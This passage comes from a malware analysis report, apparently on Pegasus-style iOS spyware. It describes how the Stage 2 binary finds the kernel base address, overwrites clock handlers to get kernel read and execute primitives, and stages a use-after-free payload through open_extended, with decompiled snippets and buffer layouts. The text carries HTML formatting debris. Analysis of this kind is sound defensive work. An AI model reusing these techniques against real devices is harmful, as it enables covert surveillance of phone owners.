calculate <str<strong>on</strong>g>the</str<strong>on</strong>g> base address for <str<strong>on</strong>g>the</str<strong>on</strong>g> <strong>iOS</strong> kernel:<br />
do<br />
{<br />
...<br />
} while ( IORegistryEntryGetProperty_0(v13, "HIDKeyboardModifierMappingSrc", dataBuffer, &size)<br />
);<br />
writeLog(7, "%.2s%5.5d\n", "kaslr.c", 127);<br />
if ( size > 8 )<br />
{<br />
writeLog(7, "%.2s%5.5d\n", "kaslr.c", 138);<br />
return dataBuffer[index] & 0xFFF00000;<br />
}<br />
Two aspects <str<strong>on</strong>g>of</str<strong>on</strong>g> this code should be explicitly noted. First, <str<strong>on</strong>g>the</str<strong>on</strong>g> properties array specifies that <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
OSNumber value is 256 bytes in size, which is what ultimately leads to data leakage. Sec<strong>on</strong>d,<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> index value used to find <str<strong>on</strong>g>the</str<strong>on</strong>g> memory locati<strong>on</strong> within <str<strong>on</strong>g>the</str<strong>on</strong>g> returned dataBuffer array varies<br />
Page 18
with <str<strong>on</strong>g>the</str<strong>on</strong>g> platform/<strong>iOS</strong> combinati<strong>on</strong>. The developers <str<strong>on</strong>g>of</str<strong>on</strong>g> Stage 2 have mapped out each<br />
combinati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> platform/<strong>iOS</strong> to determine what positi<strong>on</strong> within <str<strong>on</strong>g>the</str<strong>on</strong>g> dataBuffer array a valid<br />
kernel locati<strong>on</strong> is present.<br />
If Stage 2 is unable to find <str<strong>on</strong>g>the</str<strong>on</strong>g> base address for <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel using <str<strong>on</strong>g>the</str<strong>on</strong>g> above described method or<br />
if Stage 2 finds that it is operating under a versi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <strong>iOS</strong> o<str<strong>on</strong>g>the</str<strong>on</strong>g>r than 9, <str<strong>on</strong>g>the</str<strong>on</strong>g> assert callback is<br />
called and <str<strong>on</strong>g>the</str<strong>on</strong>g> applicati<strong>on</strong> terminates.<br />
Establishing Read/Write/Execute Primitives <strong>on</strong> Previously Rooted<br />
Devices (32-Bit)<br />
After finding <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel’s base address, 32Stage2 generates an IPC pipe set via <str<strong>on</strong>g>the</str<strong>on</strong>g> pipe<br />
functi<strong>on</strong>. If <str<strong>on</strong>g>the</str<strong>on</strong>g> pipe command fails, 32Stage2 calls <str<strong>on</strong>g>the</str<strong>on</strong>g> assert callback functi<strong>on</strong> and exits.<br />
Following <str<strong>on</strong>g>the</str<strong>on</strong>g> generati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> pipe set, 32Stage2 uses a kernel port to obtain <str<strong>on</strong>g>the</str<strong>on</strong>g> clock<br />
services for <str<strong>on</strong>g>the</str<strong>on</strong>g> battery clock (also known as <str<strong>on</strong>g>the</str<strong>on</strong>g> calendar clock) and real-time clock via two<br />
calls to host_get_clock_service. If ei<str<strong>on</strong>g>the</str<strong>on</strong>g>r <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> clocks are inaccessible, <str<strong>on</strong>g>the</str<strong>on</strong>g> asserti<strong>on</strong><br />
callback is called and 32Stage2 exits. The pipe set and <str<strong>on</strong>g>the</str<strong>on</strong>g> clock ports are critical to<br />
establishing a beachhead for gaining access to <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel memory space as <str<strong>on</strong>g>the</str<strong>on</strong>g> combinati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> three objects (<str<strong>on</strong>g>the</str<strong>on</strong>g> pipe set and <str<strong>on</strong>g>the</str<strong>on</strong>g> two clocks) are later used for kernel memory read and<br />
write access as well as kernel process space executi<strong>on</strong> access.<br />
Immediately following <str<strong>on</strong>g>the</str<strong>on</strong>g> pipe and host_get_clock_service calls, 32Stage2 checks <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
value <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> port to <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel that was generated previously by calling task_from_pid. If<br />
task_from_pid returned a valid (n<strong>on</strong>-NULL) port, 32Stage2 modifies <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel’s memory by<br />
writing a 20-byte data structure using vm_write. The 20-byte data structure overwrites parts <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> clock_ops structures for calend_ops and rtclock_ops 3 .<br />
The 20-byte data structures c<strong>on</strong>tain pointers to handler functi<strong>on</strong>s for <str<strong>on</strong>g>the</str<strong>on</strong>g> battery clock and realtime<br />
clock that <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel will call when functi<strong>on</strong>s such as clock_get_attributes are called<br />
(callback functi<strong>on</strong>s). The 20-byte data structure replaces <str<strong>on</strong>g>the</str<strong>on</strong>g> getattr handler for both <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
clock types with existing kernel functi<strong>on</strong>s. Specifically, <str<strong>on</strong>g>the</str<strong>on</strong>g> real-time clock’s getattr is modified<br />
to point to OSSerializer::serialize, and <str<strong>on</strong>g>the</str<strong>on</strong>g> battery clock’s getattr is modified to point<br />
to _bufattr_cpx.<br />
The choice <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> replacement functi<strong>on</strong>s changes <str<strong>on</strong>g>the</str<strong>on</strong>g> nature <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> clock_get_attributes<br />
call made to <str<strong>on</strong>g>the</str<strong>on</strong>g> two clock types. For calls to clock_get_attributes for <str<strong>on</strong>g>the</str<strong>on</strong>g> battery clock,<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> now operates as a kernel memory read interface. The _bufattr_cpx functi<strong>on</strong><br />
c<strong>on</strong>tains <strong>on</strong>ly two instructi<strong>on</strong>s:<br />
_bufattr_cpx:<br />
LDR<br />
BX<br />
R0, [R0]<br />
LR<br />
3 http://opensource.apple.com/source/xnu/xnu-3248.20.55/osfmk/kern/clock_oldops.c<br />
Page 19
The first parameter to <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> (in R0) is used as a memory address that <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> reads<br />
and returns in R0 before returning to <str<strong>on</strong>g>the</str<strong>on</strong>g> calling functi<strong>on</strong>. While <str<strong>on</strong>g>the</str<strong>on</strong>g> getattr functi<strong>on</strong>s use<br />
three parameters, given that <str<strong>on</strong>g>the</str<strong>on</strong>g> iPh<strong>on</strong>e’s ARM-based functi<strong>on</strong> calls use registers for <str<strong>on</strong>g>the</str<strong>on</strong>g> first<br />
four functi<strong>on</strong> arguments, <str<strong>on</strong>g>the</str<strong>on</strong>g> lack <str<strong>on</strong>g>of</str<strong>on</strong>g> a fully compliant functi<strong>on</strong> prototype is irrelevant.<br />
The replacement functi<strong>on</strong> for <str<strong>on</strong>g>the</str<strong>on</strong>g> real-time clock’s getattr functi<strong>on</strong> is a bit more complex. The<br />
OSSerializer::serialize functi<strong>on</strong> expects a OSSerializer object as a this<br />
pointer(i.e., an object that includes a virtual functi<strong>on</strong> table (vtable)). The address stored at <str<strong>on</strong>g>of</str<strong>on</strong>g>fset<br />
0x10 within <str<strong>on</strong>g>the</str<strong>on</strong>g> OSSerializer object is used as <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> to pass c<strong>on</strong>trol to via <str<strong>on</strong>g>the</str<strong>on</strong>g> BX<br />
instructi<strong>on</strong> and uses <str<strong>on</strong>g>the</str<strong>on</strong>g> DWORDs at <str<strong>on</strong>g>of</str<strong>on</strong>g>fset 8 and 12 as parameters to <str<strong>on</strong>g>the</str<strong>on</strong>g> next functi<strong>on</strong>.<br />
_DWORD OSSerializer::serialize(OSSerialize *):<br />
LDR<br />
R3, [R0,#8]<br />
MOV<br />
R2, R1<br />
LDR<br />
R1, [R0,#0xC]<br />
LDR.W<br />
R12, [R0,#0x10]<br />
MOV<br />
R0, R3<br />
BX<br />
R12<br />
The result <str<strong>on</strong>g>of</str<strong>on</strong>g> replacing <str<strong>on</strong>g>the</str<strong>on</strong>g> getattr handler for <str<strong>on</strong>g>the</str<strong>on</strong>g> real-time clock is that now <str<strong>on</strong>g>the</str<strong>on</strong>g> caller to<br />
clock_get_attributes can execute arbitrary functi<strong>on</strong>s within <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel by supplying a<br />
specially designed data structure, a structure that will be explained in greater detail later in this<br />
report. What is important to remember at this point is that <str<strong>on</strong>g>the</str<strong>on</strong>g> clock modificati<strong>on</strong>s <strong>on</strong>ly occur at<br />
this phase if <str<strong>on</strong>g>the</str<strong>on</strong>g> victim’s kernel is already exposed in some manner. That is, <str<strong>on</strong>g>the</str<strong>on</strong>g>se clock<br />
modificati<strong>on</strong>s would not be possible <strong>on</strong> a n<strong>on</strong>-jailbroken ph<strong>on</strong>e.<br />
If 32Stage2 already has access to <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel port and has performed <str<strong>on</strong>g>the</str<strong>on</strong>g> above-menti<strong>on</strong>ed<br />
modificati<strong>on</strong>s to <str<strong>on</strong>g>the</str<strong>on</strong>g> various clocks, 32Stage2 will skip <str<strong>on</strong>g>the</str<strong>on</strong>g> next several steps that it would<br />
normally perform in order to gain such access, and pick up at <str<strong>on</strong>g>the</str<strong>on</strong>g> privilege escalati<strong>on</strong> phase. If<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> kernel modificati<strong>on</strong> was not made because <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel’s task port was currently inaccessible,<br />
32Stage2 creates and locks <str<strong>on</strong>g>the</str<strong>on</strong>g> lock file specified during <str<strong>on</strong>g>the</str<strong>on</strong>g> earlier initializati<strong>on</strong> phase. This file<br />
becomes important later as a piece <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> process that ultimately gains 32Stage2 <str<strong>on</strong>g>the</str<strong>on</strong>g> ability to<br />
modify <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel’s memory.<br />
The 64-bit versi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> Stage 2 binary does not attempt to take advantage <str<strong>on</strong>g>of</str<strong>on</strong>g> pre-existing<br />
backdoors in previously jailbroken devices.<br />
Thread Manipulati<strong>on</strong><br />
Stage 2 will eventually leverage a use-after-free (UAF) vulnerability in order to execute arbitrary<br />
code within <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel space. When using a UAF vulnerability, it is possible that a race c<strong>on</strong>diti<strong>on</strong><br />
may occur where <str<strong>on</strong>g>the</str<strong>on</strong>g> memory that was dereferenced (and which <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit wishes to c<strong>on</strong>trol) is<br />
reallocated for ano<str<strong>on</strong>g>the</str<strong>on</strong>g>r thread before <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit can execute. In order to reduce <str<strong>on</strong>g>the</str<strong>on</strong>g> probability<br />
<str<strong>on</strong>g>of</str<strong>on</strong>g> ano<str<strong>on</strong>g>the</str<strong>on</strong>g>r thread accidentally allocating into a critical deallocated chunk, Stage 2 will generate a<br />
Page 20
list <str<strong>on</strong>g>of</str<strong>on</strong>g> all <str<strong>on</strong>g>of</str<strong>on</strong>g> its running threads and immediately place each thread (outside <str<strong>on</strong>g>of</str<strong>on</strong>g> its main thread) in<br />
a suspended state. Next, Stage 2 modifies <str<strong>on</strong>g>the</str<strong>on</strong>g> scheduling policies for <str<strong>on</strong>g>the</str<strong>on</strong>g> main thread to fur<str<strong>on</strong>g>the</str<strong>on</strong>g>r<br />
increase <str<strong>on</strong>g>the</str<strong>on</strong>g> probability that <str<strong>on</strong>g>the</str<strong>on</strong>g> UAF exploit will not face competiti<strong>on</strong> for <str<strong>on</strong>g>the</str<strong>on</strong>g> memory in<br />
questi<strong>on</strong>.<br />
An additi<strong>on</strong>al step is performed in <str<strong>on</strong>g>the</str<strong>on</strong>g> 64-bit versi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> Stage 2. With <str<strong>on</strong>g>the</str<strong>on</strong>g> thread scheduler<br />
modificati<strong>on</strong>s complete, 64Stage2 generates up to 1000 threads. Each thread c<strong>on</strong>sists <str<strong>on</strong>g>of</str<strong>on</strong>g> a<br />
single tight loop that merely wait for a global variable to drop below a predefined value (in this<br />
case, <str<strong>on</strong>g>the</str<strong>on</strong>g> value is less than 0). This behavior is intended to ensure (or, at least, significantly<br />
increase <str<strong>on</strong>g>the</str<strong>on</strong>g> chances) that no additi<strong>on</strong>al threads may spawn that can compete for <str<strong>on</strong>g>the</str<strong>on</strong>g> UAF’s<br />
targeted memory.<br />
Establishing Communicati<strong>on</strong> Channel (32-Bit)<br />
32Stage2 generates ano<str<strong>on</strong>g>the</str<strong>on</strong>g>r pipe set using <str<strong>on</strong>g>the</str<strong>on</strong>g> pipe command, reusing <str<strong>on</strong>g>the</str<strong>on</strong>g> same variable that<br />
held <str<strong>on</strong>g>the</str<strong>on</strong>g> original pipe set 32Stage2 generated. This acti<strong>on</strong> is immediately followed by calls to<br />
host_get_clock_service in order to get access to <str<strong>on</strong>g>the</str<strong>on</strong>g> real-time and battery clocks. As with<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> pipe set, <str<strong>on</strong>g>the</str<strong>on</strong>g> calls to host_get_clock_service reuse <str<strong>on</strong>g>the</str<strong>on</strong>g> same variables from <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
previous calls to host_get_clock_service that gain a port to <str<strong>on</strong>g>the</str<strong>on</strong>g> various clocks.<br />
The previous generati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> pipe set and <str<strong>on</strong>g>the</str<strong>on</strong>g> clock ports were necessary because <str<strong>on</strong>g>the</str<strong>on</strong>g>se<br />
items are used later for kernel manipulati<strong>on</strong> and if <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel task port was available already,<br />
32Stage2 would simply skip <str<strong>on</strong>g>the</str<strong>on</strong>g> exploitati<strong>on</strong> process necessary to modify <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel and instead<br />
modify <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel directly through vm_write calls. However, if 32Stage2 does not have access<br />
to <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel task port (<str<strong>on</strong>g>the</str<strong>on</strong>g> default case <strong>on</strong> a n<strong>on</strong>-jailbroken device), exploitati<strong>on</strong> is necessary in<br />
order to acquire such access. As part <str<strong>on</strong>g>of</str<strong>on</strong>g> this exploitati<strong>on</strong> process, 32Stage2 needs to have <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
pipe set and clocks available prior to <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit’s activati<strong>on</strong>, and thus <str<strong>on</strong>g>the</str<strong>on</strong>g> binary ensures that<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g>y are available. While this is unnecessarily repetitive, it does serve to ensure that <str<strong>on</strong>g>the</str<strong>on</strong>g> critical<br />
objects are readily available.<br />
The 64-bit versi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> Stage 2 binary does not need to perform this step, given that <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
triggering mechanism used to ultimately call <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> is little more than a redirecti<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> an<br />
existing functi<strong>on</strong> pointer to a sysctl handler.<br />
Payload C<strong>on</strong>structi<strong>on</strong> and Kernel Inserti<strong>on</strong> (32-Bit)<br />
Without a means to modify kernel memory through <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel port, 32Stage2 must leverage a<br />
vulnerability within <strong>iOS</strong> to gain access to <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel. In order to perform this task, 32Stage2<br />
c<strong>on</strong>structs two data buffers: a 20-byte buffer c<strong>on</strong>taining <str<strong>on</strong>g>the</str<strong>on</strong>g> necessary overwrite data to modify<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> real-time and battery clocks and a 38-byte buffer c<strong>on</strong>taining a payload that runs a series <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
ROP gadgets to install <str<strong>on</strong>g>the</str<strong>on</strong>g> clock handler overwrites. The two data buffers have <str<strong>on</strong>g>the</str<strong>on</strong>g> following<br />
layout after <str<strong>on</strong>g>the</str<strong>on</strong>g>ir c<strong>on</strong>structi<strong>on</strong>:<br />
Page 21
clock_ops_overwrite Buffer:<br />
[00] (rtclock.getattr): address <str<strong>on</strong>g>of</str<strong>on</strong>g> OSSerializer::serialize<br />
[04] (calend_c<strong>on</strong>fig): NULL<br />
[08] (calend_init): NULL<br />
[0C] (calend_gettime): address <str<strong>on</strong>g>of</str<strong>on</strong>g> calen_getattr<br />
[10] (calend_getattr): address <str<strong>on</strong>g>of</str<strong>on</strong>g> _bufattr_cpx<br />
uaf_payload_buffer Exploit Buffer:<br />
[00] ptr to clock_ops_overwrite buffer<br />
[04] address <str<strong>on</strong>g>of</str<strong>on</strong>g> clock_ops array in kern memory<br />
[08] address <str<strong>on</strong>g>of</str<strong>on</strong>g> _copyin<br />
[0C] NULL<br />
[10] address <str<strong>on</strong>g>of</str<strong>on</strong>g> OSSerializer::serialize<br />
[14] address <str<strong>on</strong>g>of</str<strong>on</strong>g> "BX LR" code fragment<br />
[18] NULL<br />
[1C] address <str<strong>on</strong>g>of</str<strong>on</strong>g> OSSymbol::getMetaClass<br />
[20] address <str<strong>on</strong>g>of</str<strong>on</strong>g> "BX LR" code fragment<br />
[24] address <str<strong>on</strong>g>of</str<strong>on</strong>g> "BX LR" code fragment<br />
32Stage2 generates a new thread to handle <str<strong>on</strong>g>the</str<strong>on</strong>g> necessary setup for <str<strong>on</strong>g>the</str<strong>on</strong>g> installati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> new<br />
clock handlers though <str<strong>on</strong>g>the</str<strong>on</strong>g> new thread, itself, does not perform <str<strong>on</strong>g>the</str<strong>on</strong>g> installati<strong>on</strong>. The thread<br />
begins by establishing a kauth_filesec data structure <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> stack with <str<strong>on</strong>g>the</str<strong>on</strong>g> following values:<br />
.fsec_magic = KAUTH_FILESEC_MAGIC; // 0x12CC16D<br />
.fsec_owner = ;<br />
.fsec_group = ;<br />
.fsec_acl.entrycount = KAUTH_FILESEC_NOACL; // -1<br />
The uaf_payload_buffer exploit buffer is appended to <str<strong>on</strong>g>the</str<strong>on</strong>g> end <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> kauth_filesec structure<br />
in what is defined as <str<strong>on</strong>g>the</str<strong>on</strong>g> kauth_filesec.fsec_acl.acl_ace[] array area.The thread <str<strong>on</strong>g>the</str<strong>on</strong>g>n<br />
opens a port to IOKit and calls IOServiceGetMatchingService for AppleKeyStore.<br />
Using <str<strong>on</strong>g>the</str<strong>on</strong>g> same technique explained previously in <str<strong>on</strong>g>the</str<strong>on</strong>g> Kernel Locati<strong>on</strong> secti<strong>on</strong>, <str<strong>on</strong>g>the</str<strong>on</strong>g> thread<br />
obtains a valid kernel memory locati<strong>on</strong>. The <strong>on</strong>ly difference between <str<strong>on</strong>g>the</str<strong>on</strong>g> new thread’s use <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
AppleKeyStore disclosure vulnerability and <str<strong>on</strong>g>the</str<strong>on</strong>g> method used by 32Stage2 previously is <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
property name that <str<strong>on</strong>g>the</str<strong>on</strong>g> thread uses (which is<br />
“ararararararararararararararararararararararararararararararararararar<br />
arararararararararararararararararararararararararararara").<br />
After obtaining <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel address from <str<strong>on</strong>g>the</str<strong>on</strong>g> AppleKeyStore, a syscall is made to <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
open_extended functi<strong>on</strong>. 32Stage2 passes <str<strong>on</strong>g>the</str<strong>on</strong>g> locati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> lock file to <str<strong>on</strong>g>the</str<strong>on</strong>g> syscall al<strong>on</strong>g with<br />
both <str<strong>on</strong>g>the</str<strong>on</strong>g> KAUTH_UID_NONE and KAUTH_GID_NONE values and <str<strong>on</strong>g>the</str<strong>on</strong>g> kauth_filesec structure<br />
c<strong>on</strong>structed at <str<strong>on</strong>g>the</str<strong>on</strong>g> start <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> thread. At <str<strong>on</strong>g>the</str<strong>on</strong>g> start <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> open_extended functi<strong>on</strong>, <str<strong>on</strong>g>the</str<strong>on</strong>g> following<br />
code executes:<br />
if ((uap->xsecurity != USER_ADDR_NULL) &&<br />
((ciferror = kauth_copyinfilesec(uap->xsecurity, &xsecdst)) != 0))<br />
The kauth_copyinfilesec functi<strong>on</strong> copies <str<strong>on</strong>g>the</str<strong>on</strong>g> kauth_filesec structure passed from<br />
userland into a kauth_filesec structure in <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel address space. Before explaining <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
Page 22
vulnerability in this functi<strong>on</strong>, it is necessary to understand <str<strong>on</strong>g>the</str<strong>on</strong>g> layout <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> kauth_filesec<br />
structure. The kauth_filesec structure makes up an access c<strong>on</strong>trol list (ACL) that c<strong>on</strong>tains<br />
access c<strong>on</strong>trol entries (ACE). The structure for kauth_filesec is defined as:<br />
/* File Security informati<strong>on</strong> */<br />
struct kauth_filesec {<br />
u_int32_t fsec_magic;<br />
guid_t<br />
fsec_owner;<br />
guid_t<br />
fsec_group;<br />
struct kauth_acl fsec_acl;<br />
};<br />
The ACL comp<strong>on</strong>ent for kauth_filesec is stored in a kauth_acl structure, which c<strong>on</strong>tains<br />
an array <str<strong>on</strong>g>of</str<strong>on</strong>g> ACE:<br />
/* Access C<strong>on</strong>trol List */<br />
struct kauth_acl {<br />
u_int32_t acl_entrycount;<br />
u_int32_t acl_flags;<br />
struct kauth_ace acl_ace[1];<br />
};<br />
The kauth_ace structure is 24-bytes in size and defined as:<br />
typedef u_int32_t kauth_ace_rights_t;<br />
/* Access C<strong>on</strong>trol List Entry (ACE) */<br />
struct kauth_ace {<br />
guid_t<br />
ace_applicable;<br />
u_int32_t ace_flags;<br />
kauth_ace_rights_t ace_rights; /* scope specific */<br />
};<br />
The kauth_acl field acl_entrycount is an unsigned integer that defines how many<br />
kauth_ace entries are within <str<strong>on</strong>g>the</str<strong>on</strong>g> acl_ace array. If an ACL c<strong>on</strong>tains no ACE records,<br />
acl_entrycount is set to KAUTH_FILESEC_NOACL, which is defined as -1. At <str<strong>on</strong>g>the</str<strong>on</strong>g> beginning<br />
<str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> kauth_copyinfilesec functi<strong>on</strong>, <str<strong>on</strong>g>the</str<strong>on</strong>g> following comment is found within <str<strong>on</strong>g>the</str<strong>on</strong>g> publicly<br />
available source code:<br />
/*<br />
* Make a guess at <str<strong>on</strong>g>the</str<strong>on</strong>g> size <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> filesec. We start with <str<strong>on</strong>g>the</str<strong>on</strong>g> base<br />
* pointer, and look at how much room is left <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> page, clipped<br />
* to a sensible upper bound. If it turns out this isn't enough,<br />
* we'll size based <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> actual ACL c<strong>on</strong>tents and come back again.<br />
*<br />
* The upper bound must be less than KAUTH_ACL_MAX_ENTRIES. The<br />
* value here is fairly arbitrary. It's ok to have a zero count.<br />
*/<br />
When <str<strong>on</strong>g>the</str<strong>on</strong>g> new thread c<strong>on</strong>structs <str<strong>on</strong>g>the</str<strong>on</strong>g> kauth_filesec structure, it does so by directly<br />
manipulating <str<strong>on</strong>g>the</str<strong>on</strong>g> positi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> structure <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> stack as such:<br />
// get stack address?<br />
Page 23
p = (unsigned int)&stackAnchor & 0xFFFFF000;<br />
// kauth_filesec.fsec_magic<br />
(p + 0xEC0) = 0x12CC16D;<br />
// kauth_filesec.fsec_acl.entrycount = KAUTH_FILESEC_NOACL<br />
(p + 0xEE4) = -1;<br />
// kauth_filesec.fsec_acl.acl_ace[...]<br />
memcpy(&stackAnchor & 0xFFFFF000 | 0xEEC, pExploit, 128);<br />
The stack has <str<strong>on</strong>g>the</str<strong>on</strong>g> following layout at <str<strong>on</strong>g>the</str<strong>on</strong>g> start <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> new thread’s executi<strong>on</strong>:<br />
char stackAnchor; // [sp+101Fh] [bp-2031h]@1<br />
unsigned int size; // [sp+2020h] [bp-1030h]@12<br />
char buffer[4096]; // [sp+2024h] [bp-102Ch]@12<br />
int v26; // [sp+3024h] [bp-2Ch]@7<br />
mach_port_t c<strong>on</strong>necti<strong>on</strong>; // [sp+3028h] [bp-28h]@4<br />
kern_return_t result; // [sp+302Ch] [bp-24h]@4<br />
mach_port_t masterPort; // [sp+3030h] [bp-20h]@3 MAPDST<br />
Using <str<strong>on</strong>g>the</str<strong>on</strong>g> variable dubbed stackAnchor, <str<strong>on</strong>g>the</str<strong>on</strong>g> new thread finds a page boundary address for<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> stack. Then, by allocating a large array to ensure that at least <strong>on</strong>e page <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> stack is<br />
unused by functi<strong>on</strong> critical variables, <str<strong>on</strong>g>the</str<strong>on</strong>g> new thread can c<strong>on</strong>struct a kauth_filesec structure<br />
that c<strong>on</strong>tains significantly more informati<strong>on</strong> than is necessary. By setting <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
acl_entrycount to indicate that <str<strong>on</strong>g>the</str<strong>on</strong>g>re are no ACE records, when open_extended<br />
processes <str<strong>on</strong>g>the</str<strong>on</strong>g> kauth_filesec structure, it will not attempt to parse any data bey<strong>on</strong>d <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
acl_flags variable, thus preserving <str<strong>on</strong>g>the</str<strong>on</strong>g> integrity <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit buffer and preventing <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel<br />
from possibly having issue with how <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit buffer would be interpreted as an actual ACE<br />
record. The end result <str<strong>on</strong>g>of</str<strong>on</strong>g> calling open_extended is to copy <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit buffer (al<strong>on</strong>g with <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
clock_ops_overwrite buffer) into kernel memory.<br />
The new thread takes advantage <str<strong>on</strong>g>of</str<strong>on</strong>g> this behavioral oddity within <str<strong>on</strong>g>the</str<strong>on</strong>g> open_extended syscall in<br />
order to place <str<strong>on</strong>g>the</str<strong>on</strong>g> (unmodified) payload into <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel memory. The address for that payload is<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g>n recovered using <str<strong>on</strong>g>the</str<strong>on</strong>g> previously discussed vulnerability that allows kernel memory to be<br />
leaked back to user mode. When <str<strong>on</strong>g>the</str<strong>on</strong>g> AppleKeyStore vulnerability is exploited, <str<strong>on</strong>g>the</str<strong>on</strong>g> variable<br />
dubbed buffer is passed to io_service_open_extended (<str<strong>on</strong>g>the</str<strong>on</strong>g> same variable that resides<br />
adjacent to <str<strong>on</strong>g>the</str<strong>on</strong>g> stackAnchor). This behavior means AppleKeyStore returned a pointer for<br />
kernel memory that was ultimately next to <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit code copied in by <str<strong>on</strong>g>the</str<strong>on</strong>g> syscall to<br />
open_extended. Therefore, <str<strong>on</strong>g>the</str<strong>on</strong>g> purpose <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> new thread is not to overwrite <str<strong>on</strong>g>the</str<strong>on</strong>g> clock handler<br />
pointers, but ra<str<strong>on</strong>g>the</str<strong>on</strong>g>r to set <str<strong>on</strong>g>the</str<strong>on</strong>g> stage for such an attack.<br />
